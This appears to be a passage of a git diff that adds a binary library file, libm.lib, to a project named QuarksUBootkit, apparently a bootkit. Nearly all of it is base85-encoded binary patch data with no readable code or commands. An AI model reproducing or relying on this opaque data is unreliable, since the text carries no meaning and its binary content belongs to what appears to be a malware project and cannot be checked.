z9XbUuBb%C)s=5(!{ia?=YF6xN-;GGiA0y&u;?2nVkti+`r`Itb0^g?B!ECzPqc0q1 z)yC_Pc@}@S@$H3SaT>4J!EDBj(Ih|OhbzqE^*WgO_z{@Xe2-p7GxTKrN4<{vx~BTt z$bX~fk%)+3G&))!d_l0!T{vtuA@IEw?ST|HaIMWkCT*Q z>>VgAAyC*Fm!fEWpo-=pCs%gg_Z-~xS)D&PZQlMvqlcR4u;%Xj9nGz=#fV z?h9)@TeSdGogdhDIjVe9PoSlOLJiU&kUfvb(d*T+SE0yEy~clz@-j#SVd^y{>dXXX zEx4XrG&;kno@KT+_8pFA?dyq)TL&D?!zP6++F9BA<(*WB#jrxmcnbXthz%0I9KggX z9$U!ajp3W3GWrl8ZN_MT-!YKVhE-7fwKw!fyaonygKA)~*`pd53I$+S4GgQ1pc@7K zG2wU>-b@a#omNxTbM`#rzyZ2;mN)cPf{)dk+ngp#o(9XJ5mqn>K9)9aabO=W zTATSVMi>m&@eEH@lYSx-r%}LihcWo}lshWLk%3`gtkzIiRZX$$cvuRt{m*X zS6$qw>MM2~56dK)q=gr7HqJEeMuDF0)OY1GFsaPR@CiLIh^IUl7DiXX17UMF6HWue zg2SpjMNb%vsmD~bNEoe$4IcVbg#tjf&`iRw(nIEaUc}H9KjRq=o6lZC(e?Pwylz@;WYkOy4I9H!)AXXFZ&xE`WM!xd)E z8QFu4X&Pq^rJecnzgZ)0g1*=qF?Jk|-HR)b{cmK}h2h&0uSR5=-vJp;zR~a}UX93{ z@SG__Ihr4`My#lxU4_x^|3-~y1UC)s7F^!aJNV|Xq~Nnt`UTfd=^uP!*pGwHwG0lf zXc-dRn356Pka9-w`IMsIZ-<^2T-!1sxNBH(@U>wj!7alk20Nxq3a*|qIk;|0X>jM1 z^MgC4ToBwm<-*`I!=?nE9`@7VQ^PI_zR+@U@Wqz0;43ZV!Ido)!Bs7l!8I*a!B_w^^UT8K3#8Be2srF zPLGhT>Ux|&#y+lpaG%u%j+nqv1>9y=*+*<{PBVMWa$pX+@Q_;-?$+ibjeXgLM)fOn zLYq(a{(VUH{_Ss7_u@->C~@BYK+EAKnlpzx1$RqZ|5r=UY#-S2@X+z5cw)4liOgyo z$_|swhD8O79=keQ!e}xLOZ52tVp%de=!dOp_zKhPI`y$<72=hJDh=PUc>Pbl(0qwE zop|;n$|=LDl%}hyhOaj@=KOQXWt3AU&HU}Es^QB{bNks3B`d^hkqNB|AvI(&szRWp z9)C;mr~E^v1%G?+r5u*Va^VT4+pTc|$d3$#g}) f$>ex<&2CN?w@oMN0j34hJ9%}{+Pv!WM&thhb@^Vv literal 0 HcmV?d00001 diff --git a/QuarksUBootkit/lib/libm.lib b/QuarksUBootkit/lib/libm.lib new file mode 100644 index 0000000000000000000000000000000000000000..bfb425175266be7667e543b77734bf1ccf0a0eba GIT binary patch literal 150064 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 